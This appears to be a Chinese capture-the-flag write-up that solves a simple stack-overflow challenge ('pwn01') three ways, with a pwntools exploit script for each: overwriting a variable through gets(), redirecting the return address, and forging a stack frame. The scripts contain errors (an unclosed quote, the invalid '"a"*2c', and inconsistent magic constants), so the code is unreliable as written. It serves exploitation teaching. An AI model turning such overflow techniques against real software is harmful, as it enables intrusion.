这是一道简单的栈溢出的问题。下面简绍3种解法。
①我们在IDA中查看s和a之间的距离,直接在利用gets函数的不安全性进行栈溢出覆盖a的值。这里要注意的是要加8而不是4,也就是变量所在的位置也要算。
exp为:
from pwn import *
sh=process("./pwn01)
payload="a"*(0x2c+8)+p32(0xCAFFBABE)
sh.sendline(payload)
sh.interactive()
②我们可以直接在填充完s和ebp以后,将返回地址设为下面那条拿到flag的语句。
exp:
from pwn import *
sh=process("./pwn01")
payload="a"*2c+p32(0x80485E0)
sh.sendline(payload)
sh.interactive()
③想让程序执行满足if语句中的指令,则需要满足一定的条件。也就是当func函数的参数满足一定的条件。那么我们可以构造一个伪栈帧,让程序再执行一次func,并将其参数设置为满足条件的数。
exp:
from pwn import *
sh=process("./pwn01")
payload="a"*(0x28)+"a"*4+p32(0x8048590)+"a"*4+p32(0xcafebabe)
sh.sendline(payload)
sh
.interactive()